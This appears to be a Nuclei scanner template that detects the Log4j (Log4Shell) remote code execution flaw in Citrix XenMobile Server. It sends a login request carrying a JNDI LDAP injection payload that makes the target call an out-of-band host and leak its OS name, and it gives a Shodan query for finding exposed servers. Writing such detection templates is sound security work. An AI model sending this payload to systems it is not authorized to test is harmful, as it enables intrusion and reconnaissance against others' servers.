2022-09-29 06:44:52 +00:00
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id: xenmobile-server-log4j
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info:
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name: Citrix XenMobile Server - Remote Code Execution (Apache Log4j)
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author: DhiyaneshDK
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severity: critical
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reference: https://support.citrix.com/article/CTX335705/citrix-security-advisory-for-cve202144228-cve202145046-cve202145105-and-cve202144832
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metadata:
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verified: true
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shodan-query: title:"XenMobile"
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tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast
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requests:
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- raw:
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- |
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2022-10-21 08:34:41 +00:00
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@timeout: 20s
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2022-09-29 06:44:52 +00:00
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POST /zdm/cxf/login HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/javascript, */*; q=0.01
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/zdm/login_xdm_uc.jsp
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login=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
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2022-10-21 08:34:41 +00:00
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- type: word
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part: body
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words:
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- '<h1>500 Server Internal Error'
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2022-09-29 06:44:52 +00:00
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
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